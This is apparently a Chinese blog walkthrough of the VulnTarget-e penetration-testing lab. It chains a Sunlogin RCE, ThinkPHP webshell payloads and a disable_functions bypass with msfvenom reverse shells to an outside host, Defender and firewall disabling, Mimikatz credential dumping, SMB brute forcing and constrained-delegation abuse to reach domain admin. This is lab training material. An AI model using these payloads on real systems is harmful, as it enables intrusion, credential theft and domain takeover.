VulnTarget-e

5dc1fee5b833bb0a460fdb08e4b7735c.png

实验目标:
学习目标:低版本向日葵上线、绕windows server2016版本windows Defender、host碰撞、绕宝塔、绕端口限制、出站规则探测、绕过disable_function、mssql的利用、smb爆破、基于资源的约束委派、约束委派等等都可以尝试。
靶机下载:其中Vulntarget-e为本次实验机器

https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q  
提取码: 1p9p

》》》靶机信息《《《

#攻击机
OS:Kali 2022.2
NIC:192.168.1.4

#向日葵机器
OS:Windows Server 2016
账密1:administrator/win2008
账密2:ash/qweASD123
防火墙开着,WDF开着
NIC1:192.168.1.5
NIC2:192.168.100.155

#Ubuntu
OS:Ubuntu
账密:vulntarget/0!;..123vuln
设置了防火墙规则
网站配置文件内设置了IP,所以IP需要固定
NIC:192.168.100.131
NIC:192.168.88.100


#域内主机
OS:Windows Server 2008R2
本地username:administrator
本地password:admin@123
域内username:win2008
域内password:qweASD123
数据库管理员
账号:sa
密码 :qweASD123
数据库普通用户权限
账号:test
密码:123.com
NIC1:192.168.88.102
NIC2:10.0.10.9

#域控主机
服务账户--》约束性委派
username:wins2016
password:qweASD123
Dusername:vulntarget\administrator
Dpassword:8A..;123admin
NIC1:10.0.10.10

一:边界主机

1.1:漏洞探测

步骤一:使用Nmap扫描目标主机确定开放的端口与对应的服务…发现其5985与49973端口开放;

#Nmap扫描
nmap -sC -sV -p 0-65535 -n -vv --min-rate=2000 192.168.1.5
-sV:版本探测
-vv:显示详细信息
-p 0-65535:探测其0-65535端口
--min-rate=2000:最小的发包速率
-sC:等价于–script=default,使用默认类别的脚本进行扫描 可更换其他类别 

#49773端口返回
{"success":false,"msg":"Verification failure"}

image.png
image.png
步骤二:访问其49773端口返回如上内容,可使用observer_ward工具识别其指纹获取到 sunlogin 信息,初步判断为向日葵远程控制程序…

#程序下载
https://github.com/0x727/ObserverWard/releases/download/v2022.3.15/observer_ward_v2022.3.15_x86_64-unknown-linux-musl.tar.gz
tar -zxvf observer_ward_v2022.3.15_x86_64-unknown-linux-musl.tar.gz

#指纹库升级
./observer_ward -u

#指纹探测
./observer_ward -t http://192.168.4.150:49773/

image.png
步骤二:使用向日葵的Payload进行测试,首先获取其CID值并作为cookie拼接执行命令的Payload的返回其执行命令结果,Success!

Sunlogin RCE 是漏洞发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于40000的端口号。

#拼接路径
/cgi-bin/rpc?action=verify-haras  //获取CID值
/check?cmd=ping../../../../../../../../../../../windows/system32/whoami  //执行命令

#批量搜索
fofa:body="Verification failure" && port="49155"

image.png
image.png
步骤三:经过以上测试可以确定目标存在**CVND-2022-10270漏洞,**这里使用以下项目工具进行漏洞利用

#漏洞检测利用
https://github.com/j2ekim/sunlogin_rce     //批量检测
https://github.com/1rm/SunloginClient_RCE  //获取其交互式命令执行
https://github.com/ddwGeGe/SunloginRCE_GUITools  //图形界面

#执行命令
python3 main.py -u 192.168.4.150 -p 49773 -e  //获取目标的交互式接口

image.png
步骤三:在交互式接口中执行以下命令开始进行信息收集…

hostname --》  WIN-HHP4Q76IAO9
tasklist /svc --》  MsMpEng.exe-> Microsoft Security Essentials
ipconfig /all --192.168.4.150  192.168.100.155  WorkGroup
pwd --》 C:\Windows\system32
dir C:\Users\  --》无域用户登陆痕迹
net user --》 本地账户:Administrator(管理员)  ash(普通用户)
netsh advfirewall show allprofile state  --》防火墙开启
netsh advfirewall set allprofiles state off --》关闭防火墙

#注解
因为这里的向日葵程序是system的权限,所以可以关闭防火墙

步骤四:用以上命令关闭掉防火墙后再次使用Nmap扫描可以看到能够扫描到其他的端口信息…
image.png

1.2:上线MSF

步骤五:在VPS上生成MSF后门并开启监听,这里通过PowerShell方式下载后门到目标主机磁盘上运行上线…

#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.42.118.221 lport=9292 -f exe -o eve.exe

#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.3
set lport 9292
run

#Poewrshell下载
powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.1.4:8080/123.exe','C:\Users\Administrator\a.exe')

powershell(new-object System.Net.WebClient).DownloadFile('http://101.42.118.221:8180/298.txt','C:\Program Files (x86)\BioSecurity\MainResource\tomcat\webapps\ROOT\298.txt')

#执行上线...
cd C:\Users\Administrator;dir
start C:\Users\Administrator\a.exe
-------------------------------分界线---------------------------------------------------
#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.42.118.221 lport=9651 -f hta-psh -o 1.hta

#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.3
set lport 9651
exploit -j

#开启服务
python2 -m SimpleHTTPServer 8000

#执行上线
mshta http://101.42.118.221:8000/1.hta

image.png
步骤六:这里在使用PowerShell进行文件下载的时候会发现有下载记录但是下载的文件被defender杀掉,这里有两种处理的方式:1.程序免杀 2.关闭defender的实时保护

set-MpPreference -DisableRealtimeMonitoring $true   //关闭defender实时保护

powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \"C:\Users\Administrator\"    //PowerShell策略绕过

image.png
步骤七:执行以下命令进行权限维持/下载敏感文件/并添加去往192.168.100.0/24网段的路由…

ps    //查看进程
migrate pid  //迁移进程,注意进程运行架构
cd C:\\Users\\Administrator\\Desktop  //存在需要测试的地址.txt
download 需要测试的地址.txt /home/z4pts/桌面  //下载文件

#抓取密码
load kiwi
kiwi_cmd lsadump::sam
Administrator:388f586516a4cba963b4181363b44034   //解密:win2008
ash:96783bb69c00614e88f7d4688623c83a             //解密:qweASD123

#添加路由
use post/multi/manage/autoroute
set session 1
run
or
run autoroute -s 192.168.100.0/24
run autoroute -p

image.png
image.png
步骤八:开启RDP并远程登陆…Over!

#开启远程
run post/windows/manage/enable_rdp

#远程连接
mstsc

image.png

二:内网Ubuntu

2.0:一级代理

步骤一:使用以下命令上传EW程序并做好Socks5代理并使用proxychains进行测试…

#程序下载
upload /home/z4pts/桌面/ew.exe C:\\Users\\Administrator\\

#开启代理
C:\Users\Administrator\ew.exe -s ssocksd -l 8090

#配置代理
vi /etc/proxychains4.conf
socks5 192.168.1.5 8090

#测试代理
proxychains curl http://myip.ipip.net/   //开玩笑

步骤二:这里将Nmap扫描流量带入到内网并直扫131主机的开放端口…试想在有流量检测拦截设备的内网中该怎样突破?平常扫描攻击肯定是动静大且容易被捕获…

#执行命令
proxychains nmap -Pn -T4 -sT -p- 192.168.100.131
#开放端口
22/80/8888

image.png
步骤三:在火狐浏览器上挂上代理访问其内网主机的端口发现80端口回显Nginx的400错误,而8888端口为宝塔面板…尝试使用dirsearch对其80端口进行WEB敏感文件扫描…无果!

#访问地址
http://192.168.100.131:80/
http://192.168.100.131:8888/

#扫描命令
python3 dirsearch.py -u http://192.168.100.131/ --proxy socks5://192.168.1.5:8090

image.png
image.png
步骤四:扫描目录并未有发现尝试在边界主机上查看浏览器的历史记录执行以下命令获取可发现TP框架…

#meterpreter
run post/windows/gather/forensics/browser_history

#记录位置
/root/.msf4/local/Administrator_Firefox_mpf91asw.default-release_places.sqlite
mv /root/.msf4/....sqlite /home/z4pts/桌面

#文件打开
选中文件右键--》用"SQLite database browser"打开 执行以下命令
SELECT url FROM moz_places

image.png

2.1:Host碰撞

步骤五:再次在浏览器中访问但都是返回400状态码…这里可以尝试与边界主机上发现的*.txt文件进行HOST碰撞攻击;备注: 在渗透测试中搜集了很多IP资产,端口也开放了WEB服务但打开总是403 404 400错误,扫目录也扫不到东西。这时候可以尝试利用HOSTS碰撞技术突破其边界对其内网系统进行攻击 !!!

#ThinkPHP地址连接
http://192.168.100.131/vulntarget/thinkphp
http://192.168.100.131/vulntarget/public/index.php

image.png
image.png
步骤六:下载以下项目并将获取的域名放到host.txt并将IP地址放到ip.txt中执行以下程序进行HOST碰撞

#项目地址
https://github.com/fofapro/Hosts_scan

#执行命令
proxychains python3 IP_hosts_scan_multithreading.py

#执行结果
192.168.100.131 --》 http://www.cJO6w10YLS.com

image.png
步骤七:在火狐浏览器上安装 Modheader 插件修改host头信息并再次访问其80端口如下页面

#修改字段
Host  --》 www.cJO6w10YLS.com

image.png
image.png
步骤八:以上访问记录中存在TP框架再次访问报错页面显示其版本号,尝试POC执行命令均被禁用拦截…


http://192.168.100.131/vulntarget/public/index.php?s=1  //报错信息:V5.0.15

#POC
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami   //system函数被禁用
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=sassert&vars[1][]=phpinfo()   //被BTWAF拦截

image.png
image.png

2.2:GetShell

步骤九:尝试使用file_put_contents函数写文件且成功!直接GetShell…

#file_put_contents写文件
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?> //无权限

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../123.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?>

#GetShell
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../url.php&vars[1][1]=<?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?>

#WebShell
http://192.168.100.131/url.php

image.png
image.png
image.png
步骤十:使用蚁剑连接配置代理并编写编码规则(因为以上POC是经过了3次URL解码,所需对攻击代码进行三次编码)且加入Host信息测试连接…成功!

#编码配置
AntSword-->编码设置-->编码管理-->新建编码器-->PHP-->在创建编码器命名为url-->点击编辑-->将以下代码贴入替换并保存!


#编码内容
'use strict';

  // ##########    请在下方编写你自己的代码   ###################
function forceEncode(s) {
  return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}

module.exports = (pwd, data, ext={}) => {
  const payload = data['_']
  data[pwd] = forceEncode(forceEncode(payload));
  delete data['_'];
  console.log(data);
  return data;
}

image.png
image.png
image.png
image.png

2.3:绕过disable_function

步骤十一:在命令终端中无法执行命令…这里尝试使用 php7-gc-bypass 绕过执行系统命令…

#项目地址
https://github.com/devil8123665/exploits/blob/master/php7-gc-bypass/exploit.php
在蚁剑中创建by.php并将以上项目文件的项目代码保存在浏览器访问...

#访问地址
http://192.168.100.131/by.php

image.png
image.png
步骤十二:以上可获取命令执行点…但比较麻烦在翻找/home目录时发现私钥文件…key下载到Kali并尝试连接Ubuntu主机…

#私钥文件
/home/vulntarget/key

#连接命令
proxychains ssh -i key 192.168.100.131

image.png
image.png
步骤十三:执行以下命令进行信息收集…发现其内部还存在192.168.88.0/24网段

id  --》 UID:0
whoami --》root
ping www.baidu.com  --》不出网
ifconfig  --192.168.100.0/24  192.168.88.100/24 
arp -a    --192.168.88.102主机信息
ufw disable --》关闭防火墙,不然无法与边界主机进行正常通信!!!
iptables -L --》查看防火墙规则

2.4:上线MSF

步骤十四:生成MSF反向马并上传至边界主机,使用Ladon开启HTTP服务占用其3333端口并Wget访问下载执行从而上线MSF

#边界主机
Import-Module .\Ladon.ps1
ladon web 3333 dir
C:\Windows\System32\WindowsPowerShell\v1.0\

#生成后门
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.155 LPORT=3333 -f elf > shell.elf


#开启监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.100.155
set lport 3333
run

#下载执行
wget http://192.168.100.155:3333/shell.elf -O shell.elf

#scp传递执行
proxychains scp -r -i key /home/z4pts/桌面/shell.elf root@192.168.100.131:/www/wwwroot/vulntarget-e2/1.elf

#添加路由
use post/multi/manage/autoroute
set session 2
run

image.png
步骤十五:以上步骤经过多次尝试失败发现防火墙中存在指定端口访问的策略…即限制;在此修改成功!!!

iptables -A INPUT -j ACCEPT
iptables -A OUTPUT -j ACCEPT

三:域内主机Wins08R2

3.1:二级代理

步骤一: 这里为了使kali攻击机能访问到192.168.88.0/24网段的第三台主机需要要搭建二级代理。将 边界主机的2080 端口收到的 socks 代理请求转交给 ubuntu192.168.100.131 的主机 操作如下…

#边界主机
ew.exe -s lcx_tran -l 2080 -f 192.168.100.131 -g 9999

#文件上传
proxychains scp -r -i key /home/z4pts/桌面/ew root@192.168.100.131:/www/wwwroot/vulntarget-e2/ew

#内网主机
/root/ew -s ssocksd -l 9999 &  //置于后台运行

#配置测试代理
vi /etc/proxychains4.conf
socks5 192.168.1.5 2080
proxychains curl http://192.168.88.100/

image.png
步骤二:这里挂代理开始扫描在ubuntu机器中收集到的102主机发现开放135和445端口!

proxychains nmap -Pn -sT -p1-65535 192.168.88.102

image.png
步骤三:这里尝试使用hydra对其SMB协议进行爆破…

proxychains hydra -l administrator -P password.txt 192.168.88.102 smb

image.png

3.2:内网横向

步骤四:根据以上爆破的结果使用Impacket中提供的wmiexec.py工具远程连接其命令执行环境获取交互式接口…

proxychains python3 wmiexec.py administrator@192.168.88.102
chcp 65001

image.png
步骤五:执行以下命令进行信息收集并开启关闭相对应的功能…

whoami     //win-n4dk5rpd2qu\administrator
hostname   //win-n4dk5rpd2qu
ipconfig /all     //域:vulntarget.com  192.168.88.102/24  10.0.10.9/24
arp -a    //10.0.10.10 
netsh advfirewall set allprofiles state off    //关闭防火墙
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f      //开启3389端口

步骤六:在MSF上开启代理在外界windows主机上使用SocksCap64挂上代理访问远程桌面,如下成功!!!

#开启代理
use auxiliary/server/socks_proxy   
show options   
run

#主机信息
ip address:192.168.88.102
username:administrator
password:admin@123

image.png

3.3:上线MSF

步骤七:使用一下命令生成反向马并监听反弹,直接远程桌面复制过去上线成功…

#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.88.100 LPORT=4444 -f exe > inside.exe


#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.88.100
set lport 4444
run

image.png
image.png

四:域控主机Wins16

4.1:信息收集

步骤一:开始进行信息收集,上传猕猴桃到Wins08执行抓取到域用户明文密码…

ping vulntarget.com   //10.0.10.10

#定位域控
meterpreter > run post/windows/gather/enum_domain

#MSF添加路由
use post/multi/manage/autoroute
set session 3
run

#MSF抓取密码
load kiwi
kiwi_cmd sekurlsa::logonpasswords

#Mimikatz
privilege::debug  //提升权限
sekurlsa::logonpasswords  //抓取明文密码
Domain user:win2008
Domain user password:qweASD123

步骤二:上传Adfind程序判断存在非与约束性委派属性的并发现第三台主机上的win2008域账户对第四台主机10.10的CIFS服务存在约束委派…

#查询域中配置非约束委派的主机
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#查询域中配置非约束委派的服务账户
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#茶渣
AdFind.exe -h 10.0.10.10 -u win2008 -up qweASD123  -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image.png

4.2:约束性委派攻击

步骤三:上传kekeo并用请求win2008的TGT接着伪造S4U请求,以administrator用户权限访问受委派的CIFS服务。

#请求约束性委派用户的TGT
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
#伪造S4U请求并访问CIFS服务
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com

image.png
步骤四:利用mimikatz导入S4U2proxy阶段生成的ST并访问域控10.10主机(注意:导入一次ST执行一次命令)

#导入ST
privilege::debug
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
exit

#执行命令
dir \\WIN-1PV25H8UJPN.vulntarget.com\C$

image.png
image.png
步骤五:执行以下命令创建域用户并将其添加到域管理员中,查看用户信息…

net user 4pts 123admiN@ /add /domain
net group "domain admins" 4pts /add /domain
net group "domain admins" /domain

image.png
image.png
image.png

4.2:三级代理

步骤六:这里为了访问到内网域控主机需要挂三级代理…并按照以下操作设置…

#边界主机(一层)
外网主机3777端口接收来自攻击机流量,7779接收来自3777端口流量
ew.exe -s lcx_listen -l 3777 -e 7779 -t 1000000

#Ubuntu主机(二层)
Ubuntu的7779端口获取外网主机7779端口的流量,3999端口接收7779端口的流量
./ew -s lcx_slave -d 192.168.100.155 -e 7779 -f 192.168.88.102 -g 3999 -t 1000000

#Wins08R2主机(三层)
第三台主机代理了来自3999端口的流量
ew.exe -s ssocksd -l 3999 -t 1000000

image.png

4.3:横向移动

步骤七:使用Impacket 中提供的wmiexec.py工具远程执行,成功上线第四台主机!!!

proxychains python3 wmiexec.py 4pts:123admiN@@10.0.10.10

image.png
步骤八:生成反向马并上传之Wins08R2,使用以下项目开启HTTP服务并通过PowerShell下载执行

#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.10.9
set lport 5555
run

#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.10.9 LPORT=5555 -f exe > inside.exe

#上传执行
lput iinside.exe C:\iinside.exe

image.png
步骤九:至此结束,展示下全部靶机合照…
image.png
》》》参考文章《《《

https://mp.weixin.qq.com/s/eh8SXkgcSQjLkFEjNkkfHw
https://blog.csdn.net/m0_64317625/article/details/127823145
https://cloud.tencent.com/developer/article/2148788
https://www.yuque.com/oldbirdteam/zu0xxv/pct603#dXV90
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场为安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值